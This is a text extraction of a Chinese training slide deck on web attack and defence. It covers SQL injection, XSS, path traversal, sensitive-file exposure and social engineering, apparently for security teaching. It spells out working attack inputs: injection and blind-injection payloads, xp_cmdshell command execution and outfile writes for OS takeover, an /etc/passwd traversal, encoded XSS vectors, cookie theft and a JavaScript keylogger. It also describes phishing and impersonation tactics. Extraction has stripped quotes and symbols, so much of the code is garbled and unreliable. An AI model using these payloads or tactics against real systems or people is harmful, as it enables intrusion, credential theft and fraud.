《攻防技术汇总部分》PPT课件.ppt

上传人:tia****nde 文档编号:13086492 上传时间:2020-06-05 格式:PPT 页数:234 大小:9.94MB
返回 下载 相关 举报
《攻防技术汇总部分》PPT课件.ppt_第1页
第1页 / 共234页
《攻防技术汇总部分》PPT课件.ppt_第2页
第2页 / 共234页
《攻防技术汇总部分》PPT课件.ppt_第3页
第3页 / 共234页
点击查看更多>>
资源描述
部门技术汇总,目录,2,Web应用安全基础,WEB应用的基本架构HTTP协议简介应用系统概述数据传输编码技术简介,3,WEB应用的基本架构,客戶端(Client)服务器(Server)架构使用HTML(HyperTextTransferProtocol)描述文件使用URL(UniformResourceLocator)指定文件的所在透过HTTP(HyperTextTransferProtocol)协议与服务器沟通,HTTP协议简介,HTTP介绍URL介绍HTTP的工作过程HTTP代理服务器HTTP的报文结构,HTTP介绍,HTTP(HypertextTransferProtocol)是一种无状态的协议,基于简单的请求响应模型(requests/responses)HTTP请求和响应都有消息头(Header),消息主体(body)(请求的消息主体是可选)HTTP请求必须使用一个特定的请求方法(method)HTTP响应包含一个状态代码(StatusCode)HTTP是一个纯文本的协议,URL介绍,统一资源定位符(URL,英语Uniform/UniversalResourceLocator的缩写)也被称为网页地址,是因特网上标准的资源的地址。URL的一般形式格式::/:/,Base64编码,Base64编码仅用一个可打印的ASCII字符就可安全转换任何二进制数据,它常用于对电子邮件附件进行编码,使其通过SMTP安全传输。它还可用于在基本HTTP验证机制中对用户证书进行编码。,十六进制编码,许多应用程序在传送二进制数据时直接使用十六进制编码,用ASCII字符表示十六进制数据库块。例如,对cookie中的用户名daf进行十六进制编码,会得到以下结果:646166,提纲,Web应用安全基础SQL注入详述XSS跨站脚本攻击详述下载漏洞详述敏感信息泄露社会工程学中间件安全及防护OWASPTOP10扩展,47,漫谈SQL注入SQL注入测试利用SQL注入主流数据库SQL盲注利用主流数据库SQL高级利用实现对操作系统进行渗透,SQL注入详述,SQL注入是一种将SQL代码插入或添加到应用的输入参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。凡是构造SQL语句的步骤均存在被潜在攻击的风险,因为SQL的多样性和构造时使用的方法均提供了丰富的编码手段SQL注入的本质就是混淆数据和执行代码,使输入的数据变成可执行的语句。,漫谈SOL注入,漫谈SOL注入,漫谈SOL注入,SQL注入攻击危害饶过验证(常见的为管理登陆)获取数据库信息通过数据库获取系统权限,漫谈SOL注入,ServerSideCode:Stringquery=SELECTuser_idFROMuser_dataWHEREuser_name=+input.getValue(userID)+anduser_password=+input.getValue(pwd)+;InputTextBox:Username:Password:InterpretedbytheSQLServer:SELECTuser_idFROMuser_dataWHEREuser_id=jsmithanduser_password=secret;,漫谈SOL注入,ServerSideCode:Stringquery=SELECTuser_idFROMuser_dataWHEREuser_name=+input.getValue(userID)+anduser_password=+input.getValue(pwd)+;InputTextBox:Username:Password:InterpretedbytheSQLServer:SELECTuser_idFROMuser_dataWHEREuser_name=jsmithanduser_password=fooOR1=1;,漫谈SOL注入,漫谈SQL注入SQL注入测试利用SQL注入主流数据库SQL盲注利用主流数据库SQL高级利用实现对操作系统进行渗透,最简单的测试http:/host/test.php?id=100返回错误http:/host/test.php?id=100and1=1返回正常http:/host/test.php?id=100and1=2返回错误,SOL注入测试,SQL注入攻击过程判断注入点判断注入点类型判断数据库类型获取数据库数据库,提权,SOL注入测试,三种注入类型测试方法数字型测试方法:http:/host/test.php?id=100and1=1返回成功http:/host/test.php?id=100and1=2返回失败产生原因:sqlstr=“select*fromnewswhereid=”+request.getParameter(“id”),SOL注入测试,三种注入类型测试方法字符型测试方法:http:/host/test.php?name=rainmanand1=1返回成功http:/host/test.php?name=rainmanand1=2返回失败产生原因:sqlstr=“select*fromnewswhereid=”+request.getParameter(“name”)+”,SOL注入测试,三种注入类型测试方法搜索型测试方法:http:/host/test.php?keyword=test%and1=1and%=返回test查询相同结果http:/host/test.php?id=test%and1=2and%=返回少于test查询结果的内容产生原因:sqlstr=“select*fromnewswherekeywordlike%”+request.getParameter(“keyword”)+”%”,SOL注入测试,判断注入方式内联式SQL注入内联注入是指查询注入SQL代码后,原来的查询仍然全部执行Sqlstr=“select*fromadminwhereusername=”+username+”andpassword=”+password+”username=“or=”password=“or=”,SOL注入测试,判断注入方式终止式SQL注入终止式SQL语句注入是指攻击者在注入SQL代码时,通过注释剩下的查询来成功结束该语句。被注释的查询不会被执行Sqlstr=“select*fromadminwhereusername=”+username+”andpassword=”+password+”username=“or=-“password=“anystring”常见的终止方式终止字符串:-,#,%23,%00,/*终止方法:-,-,)-,)-,)-,)-,SOL注入测试,触发SQL注入所有的输入只要和数据库进行交互的,都有可能触发SQL注入常见的包括:Get参数触发SQL注入POST参数触发SQL注入Cookie触发SQL注入其他参与sql执行的输入都有可能进行SQL注入,SOL注入测试,手工测试工具Burpsuit,SOL注入测试,手工测试工具Hackbar(Firefox插件),SQL注入测试,SOL注入测试,漫谈SQL注入SQL注入测试利用SQL注入主流数据库SQL盲注利用主流数据库SQL高级利用实现对操作系统进行渗透,识别数据库类型要成功的发动SQL注入攻击,最重要的是知道应用正在使用的DBMS。没有这一信息就不可能向查询注入信息并提取自己所感兴趣的数据。,利用SOL注入主流数据库,常见构架判断数据库类型asp+accessasp+mssqlphp+mysqlJsp+oraclejsp+mysql,利用SOL注入主流数据库,判断数据库类型使用一些特征判断数据库类型报错信息:Oracle:ORA-01756:括号内的字符串没有正确结束Mysql:ERROR1064(42000):YouhaveanerrorinyourSQLsyntax;checkthemanualthatcorrespondstoyourMySQLserverversionfortherightsyntaxtousenearMSSQL:MicrosoftODBCSQLServerDriverSQLServer字符串之前有未闭合的引号,利用SOL注入主流数据库,判断数据库类型通过特有数据表进行判断MSQQL数据库:http:/host/test.php?id=100and(selectcount(*)fromsysobjects)0and1=1Access数据库:http:/host/test.php?id=100and(selectcount(*)frommsysobjects)0and1=1Mysql数据库:http:/host/test.php?id=100and(selectcount(*)frominformation_schema.TABLES)0and1=1mysql5.0Oracle数据库:http:/host/test.php?id=100and(selectcount(*)fromsys.user_tables)0and1=1,利用SOL注入主流数据库,使用字符连接方式判断数据库类型MSSQL数据库http:/host/test.php?id=100and1+1=11MySql数据库http:/host/test.php?id=100and1+1=11http:/host/test.php?id=100andCONCAT(1,1)=11Oracle数据库http:/host/test.php?id=100and1|1=11http:/host/test.php?id=100andCONCAT(1,1)=11,利用SOL注入主流数据库,使用union获取数据Union是数据库管理员经常使用且可以掌控的运算符之一,可以使用它连接两条或多条select语句的查询结果。其基本语法如下:Selectcolum1,colum2,colum3,columNfromtable1UnionSelectcolum1,colum2,colum3,columNfromtable2如果应用返回第一个(原始)查询得到的数据,那么通过在第一个查询后注入一个UNION运算符,并添加另一个任意查询,便可读取到数据库用户有权限访问的任何一张表。,利用SOL注入主流数据库,使用union获取数据规则两个查询返回的列数必须相同。两个SELECT语句返回的数据库对应的列必须类型相同或兼容通常只有终止式注入时,可较快猜解并利用,否则要知道原始的SQL语句才能比较方便的利用,利用SOL注入主流数据库,Union语句的构建万能列类型:大部分数据库中NULL可兼容任何类型的数据,所有可使用NULL匹配数据表的列类型确定列数量:使用unionselectnull,null,null,nullfromdual逐步增加null数量,直到匹配原语句的列数量,成功匹配后返回正常页面使用orderby确原语句列数量,可使用折半查找法提高猜测效率确定列类型:Unionselect1,2,null,nullfromdual,先猜测第一列为数字,如果不正确则判断为字符,如果还是不正确则保持null不变(可能为二进制类型),依次完成部分或全部类型的判断其他:Mysql数字/字符类型可直接转换,可直接使用select1,2,3,n方式构建union,利用SOL注入主流数据库,Union注入结果,利用SOL注入主流数据库,Union不适用的地方注入语句无法截断,且不清楚完整的SQL查询语句Web页面中有两个SQL查询语句,查询语句的列数不同,利用SOL注入主流数据库,基于时间的攻击MSSQLhttp:/host/products.asp?id=12;if+(system_user=sa)+waitfor+delay+0:0:5-http:/host/products.asp?id=12;if+(system_user=sa)+execmaster.xp_cmdshellpinglocalhostMysqlselectbenchmark(1000000,sha1(test)/执行sha1函数1000000次Oracleselectutl_http.request(http:/10.0.0.1)fromdual,利用SOL注入主流数据库,基于错误的注入http:/host/products.asp?id=12/is_srvrolemember(sysadmin)返回正常页面,判断成立返回错误页面,判断失败如果用户属于sysadmin,id=12/1返回正常页面,否则返回错误页面,利用SOL注入主流数据库,利用SQL注入错误MSSQLhttp:/host/products.asp?id=system_user报错:MircrosoftOLEDBProviderforODBCDriverserror80040e07MicrosoftODBCSQLServerDriverSQLServerConversionfailedconvertingthenvarcharvalueappusertodatatypeint./products.asp,line33获取非字符类型错误http:/host/products.asp?id=12and(selecttop1char(94)+(idasvarchar(256)fromadmin)0,利用SOL注入主流数据库,利用SQL注入错误Oracleselectutl_inaddr.get_host_name(selectbannerfromv$versionwhererownum=1)fromdual;ORA-29257:未知的主机Oracle9iEnterpriseEditionRelease9.2.0.1.0-ProductionORA-06512:在SYS.UTL_INADDR,line35ORA-06512:在SYS.UTL_INADDR,line35ORA-06512:在line1,利用SOL注入主流数据库,枚举数据库SQLServer获取当前用户名id=12unionselectnull,null,user,nullfrommaster.sysdatabases获取数据库列表id=12unionselectnull,null,name,nullfrommaster.sysdatabases获取当前数据库名id=12unionselectnull,null,db_name(),nullfrommaster.sysdatabases;获取表名:Id=12unionselectnull,null,name,nullfromsysobjectswherextype=u获取字段名:Id=12unionselectnull,null,col_name(object_id(table_name),1),nullfromsysobjects,利用SOL注入主流数据库,枚举数据库MySQL获取当前用户Selectuser()获取数据库列表Selectschema_namefrominformation_schema.schemata获取当前数据库Selectdatabase()获取表名Selecttable_namefrominformation_schema.tableswheretable_schema=current_db获取字段名SELECTCOLUMN_NAMEfrominformation_schema.COLUMNSwhereTABLE_NAME=tablename,利用SOL注入主流数据库,枚举数据库OracleOracle只能访问一个数据库,无法枚举数据库获取当前用户表名:selecttable_namefromuser_tables获取所有表名及拥有者selectowner,table_namefromall_tables获取字段名selectcolumn_namefromuser_tab_columnswheretable_name=table,利用SOL注入主流数据库,查询关键数据通过枚举后的数据库信息查询关键信息Select*fromtable,利用SOL注入主流数据库,漫谈SQL注入SQL注入测试利用SQL注入主流数据库SQL盲注利用主流数据库SQL高级利用实现对操作系统进行渗透,什么是盲注盲注是指在无法使用详细数据库错消息或带内数据连接的情况下,利用数据库查询的输入审查漏洞从数据库提取信息或提取与数据库查询相关信息的攻击技术如果设计出了完整的查询(包括所有的相关的列及类型),带内数据库连接会变的非常容易,因而攻击者在转向更复杂的SQL盲注技术之前回力求确定查询结构,SOL盲注入利用主流数据库,常见的盲注环境提交一个导致SQL查询无效的利用是会返回一个通用错误页面,而提交正确的SQL时则返回一个内容可被适度控制的页面提交一个导致SQL查询无效的利用时会返回一个通用的错误页面,而提交正确的SQL时则会返回一个内容不可控的页面提交受损或不正确的SQL既不会产生错误页面,也不以仍和方式影响页面输出,SOL盲注入利用主流数据库,推断技术对判断的信息转换的True和False两种状态关键函数MSSQLSubstring(str,1,1)Ascii(char)Len(str)MYSQLSubstr(str1,1)Ascii(char)Length(str)ORACLESubstr(str,1,1)Ascii(char)Length(str),SOL盲注入利用主流数据库,推断技术探测方法URL:?status=newandsubstring(system_user,1,1)=a数据库语句:Selectcount(*)fromtestwherestatus=newandsubstring(system_user,1,1)=a?status=newandsubstring(system_user,1,1)=a(false)?status=newandsubstring(system_user,1,1)=b(false)?status=newandsubstring(system_user,1,1)=c(false)?status=newandsubstring(system_user,1,1)=d(true),SOL盲注入利用主流数据库,推断技术一般攻击流程1.构建合理的SQL语句?status=new)and1=1and=(true)2.猜解目标信息长度使用折半查找法,提高猜解效率?status=newandlen(system_user)10and=(true)?status=newandlen(system_user)createtableauthors(fnamechar(50),snamechar(50),emailchar(100),flagint);QueryOK,0rowsaffected(0.01sec)当表格准备好接受文本后,使用下列命令填充表格:mysqlloaddatainfile/tmp/users.txtintotableauthorsfieldsterminatedby;QueryOK,10rowsaffected(0.00sec)Records:10Deleted:0Skipped:0Warnings:0通过快速选择authors表的内容会发现,文本文件已经被完全导入数据库中:mysqlselect*fromauthors;,SOL注入高级利用实现操作系统渗透实例,Load_file函数为了提高黑客的兴趣,MySQL还提供了load_file函数,通过该函数可以避免创建表,直接传递结果即可:mysqlselectLOAD_FILE(/tmp/test.txt);+-+|LOAD_FILE(/tmp/test.txt)|+-+|ThisisanarbitraryfileresidingsomewhereonthefilesystemItcanbemulti-lineanditdoesnotreallymatterhowmanylinesareinit.|+-+1rowinset(0.00sec)注入实例http:/127.0.0.1/dvwa/vulnerabilities/sqli/?id=createtablehacked(linevarchar(8000);bulkinserthackedfromc:boot.ini;-该查询允许攻击者执行一个子查询以便获得最新创建的表的结果:,SOL注入高级利用实现操作系统渗透实例,写文件MySQL在写文件领域,存在一个与前面介绍的MySQLloaddatainfile读取文件命令相对应的命令selectintooutfile和selectintodumpfile。该命令可以将一条select语句的结果写到MySQL进程所有者拥有的完全可读取的文件中(dumpfile允许写二进制文件)。例如:mysqlselectThisisatestintooutfile/tmp/test.txt;QueryOK,1rowaffected(0.00sec)上述语句在tmp目录中创建了下列test.txtlocalhost:tmpmacbookpro375$cattest.txtThisisatest通过注入实现该操作非常方便。1unionselectnull,Thisisatestintooutfile/tmp/test.txt#,SOL注入高级利用实现操作系统渗透实例,SOL注入高级利用实现操作系统渗透实例,SOL注入高级利用实现操作系统渗透实例,MicrosoftSQLServer可以使用scripting.filesystem对象方法来有效地向文件系统写文件。,SOL注入高级利用实现操作系统渗透实例,MicrosoftSQLServer还提供了使用SQLServer附带的批量复制程序(BCP)来从数据源创建文件的能力:C:tempbcpselectnamefromsysobjectsqueryouttestout.txt-c-S127.0.0.1-Usa-PStartingcopy.1000rowssuccessfullybulk-copiedtohost-file.Totalreceived:10001311rowscopied.Networkpacketsize(bytes):4096ClockTime(ms.):total16另外xp_cmdshell也可以用来创建文件,许多SQL注入工具也使用xp_cmdshell来帮助实现SQLServer文件上传。在其最简单的格式中,使用重定向运算符创建文本文件:,SOL注入高级利用实现操作系统渗透实例,execxp_cmdshellechoThisisatestc:temptest.txtexecxp_cmdshellechoThisisline2c:temptest.txtexecxp_cmdshellechoThisisline3c:temptest.txt执行操作系统命令通过数据库服务器执行命令有多种目的。除了能带来名声和大量机遇外,寻找命令执行通常会因为运行大多数数据库服务器时需要使用较高级别的权限。对Apache的远程利用充其量会产生一个使用nobody用户ID的shell(很可能位于受限环境中)。不过,对DBMS发动等价攻击的话,则几乎肯定能获得高级别的权限。在Windows中,这种权限通常是System特权。MicrosoftSQLServer在MicrosoftSQLServer中,可以利用xp_cmdshell的妙用方法,xp_cmdshell拥有直观的语法,只接收一个参数,该参数也就是所要执行的命令。,SOL注入高级利用实现操作系统渗透实例,SOL注入高级利用实现操作系统渗透实例,提纲,Web应用安全基础SQL注入详述XSS跨站脚本攻击详述下载漏洞详述敏感信息泄露社会工程学中间件安全及防护OWASPTOP10扩展,117,XSS跨站脚本概述XSS跨站攻击案例模式,XSS跨站脚本攻击详述,XSS(Cross-SiteScripting)即跨站脚本攻击,这类攻击发生在客户端,是攻击者将恶意代码注入到Web客户端,从而影响到其他浏览此Web界面的用户注入的恶意代码包括:危险的HTML标签、客户端脚本、其它能执行JS的容器等大多数时候与JavaScript有关注入源form:post/geturlparameterscookieheaderhtml媒体文件的内容只要是输入点都可以是注入源,XSS跨站脚本概述,基本跨站类型,反射型跨站代码一般存在于链接中,请求这样的链接时,跨站代码经过服务端反射回来,这类跨站的代码一般不存储到服务端存储型这是利用起来最方便的跨站类型,跨站代码存储于服务端(比如数据库中)DOM型一种基于DOM的跨站,这是客户端脚本自身解析不正确导致的安全问题,120,反射型XSS攻击的实施步骤,攻击者,WEB服务器及应用程序,用户,用户登录,攻击者劫持用户会话,1,用户的浏览器向攻击者发送会话令牌,6,7,攻击者将他自己准备的URL提交给用户,2,用户请求攻击者的URL,3,服务器对攻击者的JavaScript做出响应,4,5,攻击者的JavaScript在用户的浏览器中执行,存储型XSS攻击的实施步骤,攻击者,WEB服务器及应用程序,用户,用户登录,攻击者劫持用户会话,1,用户的浏览器向攻击者发送会话令牌,6,7,攻击者提交包含恶意JavaScript的问题,2,用户浏览攻击者的问题,3,服务器对攻击者的JavaScript做出响应,4,5,攻击者的JavaScript在用户的浏览器中执行,跨站脚本漏洞危害,钓鱼欺骗:最典型的就是利用目标网站的反射型跨站脚本漏洞将目标网站重定向到钓鱼网站,或者注入钓鱼JavaScript以监控目标网站的表单输入,甚至发起基于DHTML更高级的钓鱼攻击方式。网站挂马:跨站时利用IFrame嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击。身份盗用:Cookie是用户对于特定网站的身份验证标志,XSS可以盗取到用户的Cookie,从而利用该Cookie盗取用户对该网站的操作权限。如果一个网站管理员用户Cookie被窃取,将会对网站引发巨大的危害。盗取网站用户信息:当能够窃取到用户Cookie从而获取到用户身份使,攻击者可以获取到用户对网站的操作权限,从而查看用户隐私信息。垃圾信息发送:比如在SNS社区中,利用XSS漏洞借用被攻击者的身份发送大量的垃圾信息给特定的目标群。劫持用户Web行为:一些高级的XSS攻击甚至可以劫持用户的Web行为,监视用户的浏览历史,发送与接收的数据等等。XSS蠕虫:XSS蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施DDoS攻击等。,123,哪儿可以XSSHTML本身HTML元素、元素属性、CSS等XML文档Flash客户端软件QQ2009、office、rar自解压等HTML上的一些媒体元素wmf,word,pdf,applet,XSS跨站脚本概述,XMLfilexss针对Firefox/chrome/opera有效/可控部分alert(document.cookie);/,XSS跨站脚本概述,测试跨站URL当URL出错时,会出现URL出错,并报告出错的URL信息,产生跨站,容器漏洞、应用构架参数标签内在html内的跨站,无须构造新的标签,直接使用标签属性进行跨站标签外需要构建html标签,才能利用跨站内使用分号分割script脚本,直接执行脚本,XSS跨站脚本概述,同源策略在浏览器中有一个非常重要的概念:同源策略。它是指客户端脚本应该只被允许访问与自己在同域内的资源,这里的同域是指同协议、同域名、同端口的严格同域为什么需要同源策略你的gmailcookie就不会被另一个域的js读取你上的隐私数据就不会被另一域的js读取、篡改、删除等有两种情况可以这样做:1、同源策略bypass的0day利用2、你所在的域允许与其他域在客户端上通讯,XSS跨站脚本概述,BypassxssfilterHTML中有多处可以合法执行JSHTML中的其它媒体元素导致的XSS浏览器解析处理差异导致的XSS浏览器特性导致的XSS浏览器bug导致的XSS编码问题导致的XSS不完备的黑名单策略导致的XSSXSSFilter本身的缺陷导致的XSS以上综合因素导致的XSS,XSS跨站脚本概述,HTML中有多处可以合法执行JS标签javascript伪协议HTML属性on*事件、style属性、action/src/href等CSS中expression,javascript:,moz-binding等DataURIXSSdata:text/html;base64,PHNjcmlwdD5hbGVydCgveGV5ZS8pPC9zY3JpcHQ+DQo=内容输出到html中,包括base64解码后的脚本,XSS跨站脚本概述,HTML中的其它媒体元素导致的XSSflashactionscriptgetURL(javascript:alert(/xeye/);ExternalInterface.call(eval,tryalert(/xeye/);catch(e)window.location.reload(););pdfxssappletxsswmfxss,XSS跨站脚本概述,浏览器解析处理差异导致的XSSwebkittextareainnerHTMLhttp:/xeye.us/blog/2009/04/textarea-innerhtml-not-encode-in-webkit/对宽字节编码的处理方式差异eg:gbk编码的网页对%c3处理,ff/chrome与ie/opera的默认处理方式不同,XSS跨站脚本概述,浏览器特性导致的XSS(一)IE比如css中的expression,*background里的伪协议alert(/xeye/)反单引号的支持FFcss中的BODY-moz-binding:url(xss-test.xml#xss)E4X的实例:foo=x;alert(foo.id);morefrom,XSS跨站脚本概述,浏览器特性导致的XSS(二)Operafromhttp:/www.thespanner.co.uk/2009/05/08/opera-xss-vectors/,XSS跨站脚本概述,浏览器bug导致的XSSie7/8javascript伪协议bypass执行http:/xeye.us/demo/pseudo/javascript.txt;?,XSS跨站脚本概述,编码问题导致的XSS字符串编码xss:expression(String.fromCharCode(97,108,101,114,116,40,47,120,115,115,47,41)代码混淆onerror=“javaScript:alert(XSS);,XSS跨站脚本概述,不完备的黑名单策略导致的XSS要么黑名单,要么就白名单?总是有新元素出现,黑名单很可能就被bypass对html标签的过滤html5出现新的标签:video/audio/canvas等对on事件的过滤出现新的事件:onloadedmetadata,ondurationchanged,ontimeupdate等from,XSS跨站脚本概述,XSSFilter本身的缺陷导致的XSS预留filter开关,XSS跨站脚本概述,工具雅典娜(anehta),XSS跨站脚本概述,工具Beef,XSS跨站脚本概述,XSS跨站脚本概述XSS跨站攻击案例模式,XSS跨站脚本攻击详述,使用跨站进行DDOS本站DOS通过实施跨站攻击,可导致存在跨站的网站无法访问这个问题实际上是由于一webserver的requestfieldlimit造成的。当httprequestheader过长时,webserver会产生个400或者4xx错误,如:apacheheader可接受的长度为8192而IE8中可以增加50个cookie,由于每个cookie的限制是4k(key,value对),所以IE8支持的cookie大小为204k。远远超过了一般的webserver的默认serverlimit值,XSS跨站攻击案例模式,使用跨站进行DDOS本站DOSPOCvarmetastr=AAAAAAAAAA;/10varstr=;while(str.length,XSS跨站攻击案例模式,ApacheDOS,XSS跨站攻击案例模式,XSS跨站攻击案例模式,XSS2Cookies,XSS跨站攻击案例模式,使用跨站进行Cookie劫持alert(document.cookie),XSS跨站攻击案例模式,键盘记录vartagName=newArray(input,textarea);/$(textarea).keydown(function()alert(););varkeylogger=newArray();varkeystrokes=;/记录所有键盘记录vari=0;/计数器varj=1;/全局计数器/input失去焦点时触发$(tagName0).blur(function()/anehta.logger.logInfo(keylogger);anehta.core.freeze(200););,XSS跨站攻击案例模式,键盘记录$(tagName0).keydown(function(event)keyloggeri=tag:+tagName0+,name:+this.name+,id:+this.id+,press:+j+,key:+String.fromCharCode(event.keyCode)+,keyCode:+event.keyCode+;keystrokes=String.fromCharCode(event.keyCode);anehtaCache.appendItem(KeyStrokes,keystrokes);/alert(keystrokes);i=i+1;j=j+1);,XSS跨站攻击案例模式,键盘记录,XSS跨站攻击案例模式,几种隐蔽的XSS,Mhtml协议跨站脚本攻击在IE中,当嵌入资源的URL的协议为MHTML时,IE将调用MHTMLProtocolHandler,把该资源当作MHTML格式文件解析处理。MHTMLProtocolHandler解析MHTML格式文件,其结果交给IE渲染,MHTMLProtocolHandler根据Content-Location值找到对应的数据块,再根据Content-Transfer-Encoding值对一下这段base64数据解码,如果base64数据中包含精心构造的跨站脚本代码,那就会被执行。下边PHP代码为例,做简要的分析。/*实例代码*/$str=$_GETname;echo$str;上述代码中变量$str,接受GET方式传递的数据,并未对危险字符做过滤,假如客户端提交“xnContent-Type:multipart/related;boundary=xnContent-Location:xnContent-Transfer-Encoding:base64rnrnPHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=n!x”,其中“PHNjcmlwdD5hbGVydCgxKTs8L3NjcmlwdD4=”是alert(1);字符串的base64编码形式。那么alert函数将在浏览器内执行。,149,几种隐蔽的XSS,宽字符集跨站脚本在GBK字符集中,0 xbf27不作为多字节字符,而0 xbf5c是多字节字符。当注入字符比如0 xbf27时,因为027为,所以php语言中addslashes()在27前加上5c,把0 xbf27修改为0 xbf5c27。而0 xbf5c27的0 xbf5c被认为时一个多字节字符,所以后面的027就有可能闭合前边代码中的单引号,当然与单引号机制相同的还有双引号,这样就为未闭合跨站脚本的代码提供了可能。下边PHP代码为例,做简要的分析。/*实例代码*/parameter:keyword=1,xss:*/%cf”%d5alert(/Webscan5/)上述代码中变量$str,接受GET方式传递的数据,假如客户端提交“%cf”%d5alert(1)”,那么就闭合代码中$str变量前边的单引号、双引号,alert函数将在浏览器内执行。,150,几种隐蔽的XSS,UTF7XSS漏洞攻击这个漏洞非常隐蔽,因为它让出现漏洞的网页看起来只有英文字母(ASCII字符),并没有非法字符,htmlspecialchars和strip_tags函数对这种攻击没有作用.不过,这个攻击只对IE6/IE7起作用,从IE8起微软已经修复了.你可以把下面这段代码保存到一个文本文件中(前面不要有空格和换行),然后用IE6打开试试(没有恶意代码,只是一个演示):+/v8+ADw-script+AD4-alert(document.location)+ADw-/script+AD4-最容易中招的就是JSONP的应用了,解决方法是把非字母和数字下划线的字符全部过滤掉.还有一种方法是在网页开始输出空格或者换行,这样,UTF7-XSS就不能起作用了。,151,几种隐蔽的XSS,不正确地拼接JavaScript/JSON代码段Web前端程序员经常在PHP代码或者某些模板语言中,动态地生成一些JavaScript代码片段,例如最常见的:vara=;不想,$name是通过用户输入的,当用户输入a;alert(1);时,就形成了非法的JavaScript代码,也就是XSS注入了。,152,提纲,Web应用安全基础SQL注入详述XSS跨站脚本攻击详述下载漏洞详述敏感信息泄露社会工程学中间件安全及防护OWASPTOP10扩展,153,直接下载关键文件动态页面中如果存在一些不进行解析的文件,可直接被下载这些文件可能是数据库文件(mdb,mdf等)网站代码文件(war,jar,class,inc文件)备份文件(bak),下载漏洞,应用程序读取文件常见读文件示例:filename=request.getParameter(image);if(filename=null|filename.equalsIgnoreCase()return;filename=request.getRealPath(/)+upfile/+filename;InputStreamin=newFileInputStream(filename);OutputStreamtoClient=response.getOutputStream();while(i=in.read()!=-1)toClient.write(i);,下载漏洞,应用程序读取文件由于直接通过文件路径的拼接的方式,获得完整的文件绝对路径/相对路径,可通过./或.方式访问上级目录shopPicShow.jsp?image=././././././././etc/passwd完成拼接后的文件路径为:/usr/domain/test/WEB-ROOT/upfile/./././././././././etc/passwd实际访问的路径为/etc/passwd可直接读取passwd文件,下载漏洞,提纲,Web应用安全基础SQL注入详述XSS跨站脚本攻击详述下载漏洞详述敏感信息泄露社会工程学中间件安全及防护OWASPTOP10扩展,157,敏感信息泄漏,产生原因及危害:由于WEB服务器或应用程序没有正确处理一些特殊的请求,如WEB服务器配置不当,将某些重要文件暴露在互联网上,或者没有对输入的一些特殊字符和请求做适当的过滤,导致可以访问未授权的文件或动态脚本文件源代码,泄露用户名、密码、源代码、服务器信息、配置信息等敏感信息。请求不存在文件,如造成服务器返回整个Web网站的目录结构(IIS或者Apache开放了Index参数),不断尝试猜测用户名,利用错误的请求暴露数据库路径等。,敏感信息泄漏,数据库连接的备份文件:db.inc.bak、Global.asa.bak、Config.asp.bak、Conn.asp.bak代码备份文件:.asp.bak、.asp.1、www.rar、Web.tar.gz、backup.sql、web.config.bak常用目录名:/admin/、/backup/、/manage/常用文件名:admin.asp、login.php、Admin_login.jsp,敏感信息泄漏,敏感信息泄漏,支付宝信息泄露,提纲,Web应用安全基础SQL注入详述XSS跨站脚本攻击详述下载漏洞详述敏感信息泄露社会工程学中间件安全及防护OWASPTOP10扩展,162,社会工程学,什么是社会工程学社会工程学的基本特征如何运用社会工程学如何收集信息生活中的社会工程学网络中的社会工程学案例安全防范,知己知彼,百战不殆孙子谋攻,社会工程学,什么是社会工程学,社会工程学是一种利用受害者心理弱点、本能反应、好奇心、信任、贪婪等心理通过诸如欺骗、伤害等危害手段,取得自身利益的手法。它并不能等同于一般的欺骗手法,社会工程学尤其复杂,即使自认为是最警惕最小心的人,也一样会被高明的社会工程学手段损害利益。心理学,语言学,欺诈学,场景,社会工程学的基本特征,社会工程学陷阱就是通常以交谈、欺骗、假冒或口语等方式,从合法用户中套取系统的秘密。社会工程学是一种与普通的欺骗/诈骗不同层次的手法,因为社会工程学需要搜集大量的信息针对对方的实际情况,进行心理战术。社会工程学往往是一种利用人性脆弱点,贪婪等等的心理表现进行攻击,是防不胜防的。,如何运用社会工程学,1.信息的收集2.信息的逻辑联系与判断3.综合运用上一步整理出来的信息进行引导注意信息之间的联系很重要!,如何收集信息,搜索引擎论坛社交网络域名whoisgooglemaps照片电话IM聊天工具:QQ、MSN、skype生日家人、朋友圈邮箱。,社会工程学网络攻击对象,基于计算机或网络的攻击(反社会工程学)-隐蔽-成功率高基于人的攻击(奉承、威胁、权威)-简单-流行,生活中的社会工程学,环境渗透身份伪造冒名电话个体配合反向社会工程学信件伪造,环境渗透,攻击者采取各种手段进入目标内部,然后利用各种便利条件进行观察或窃听,得到自己所需的信息。,身份伪造,隐藏真实身份,例如:伪造身份证、ID卡等,冒名电话,冒充亲戚、朋友、同学、同事、上司、下属、高级官员、知名人士等通过电话从目标处获取信息。,个体配合如果目标内部人员已经心存不满甚至有了报复的念头,那么反向社会工程学(ReverseSocialEngineering)方法比较隐蔽,很难发现,危害特别大,不容易防范。,利用信件伪造进行网络钓鱼式攻击,虚假邮件的网络钓鱼和虚假网站的网络钓鱼,通常都是结合使用,因为要使影响面可以得到大面积的传播,所以就必须借助E-mail进行传播,当IM开始慢慢取替E-MAIL的今天,IM成为了钓鱼者进行传播虚假信息以及进行社会工程学的战场.让我们好好看看社会工程学如何在邮件当中的运用.,网络中的社会工程学,地址欺骗邮件欺骗消息欺骗软件欺骗窗口欺骗其它欺骗,地址欺骗,域名欺骗:,邮件欺骗,消息欺骗,即时消息传递,通常称为IM,是一种类似电子邮件的联机通信方式。顾名思义,主要区别是IM具有即时性。IM需要特殊的软件程序(如MSN、QQ、Fetion、YahooMessenger等)。使用这些程序,您可以在对话框中输入要说的话,您的朋友几乎可立即看到您输入的内容。您也可以立即看到朋友输入的内容。使用IM程序进行通信具有一些与使用电子邮件相同的安全和隐私风险,但值得一提的是,有些风险较为独特。,软件欺骗,窗口欺骗,窗口欺骗,主要是指网页弹出窗口欺骗。攻击者往往利用用户贪婪的心理,给出一个天上掉下来的馅饼,诱使用户按照攻击者预先指定的方式访问网页或者进行相关操作,达到入侵者预定的攻击目的。,网络钓鱼Phishing,案例分析,日期:2010-1-21Sn4k3!13:34:56你那blog是在哪个空间商注册的,我也想买个,速度挺不错的。日期:2010-1-23罐头鱼16:32:Sn4k3!16:33:21嗯,谢谢罐头鱼16:33:42不客气,案例分析,案例分析,AndyYu22:19:22我记得是银行转的啊1G空间100元22:20:14银行转账?1G空间100元22:20:22哪个银行?AndyYu22:20:49忘记了AndyYu22:21:31我好几个站做了百度广告联盟的,一张卡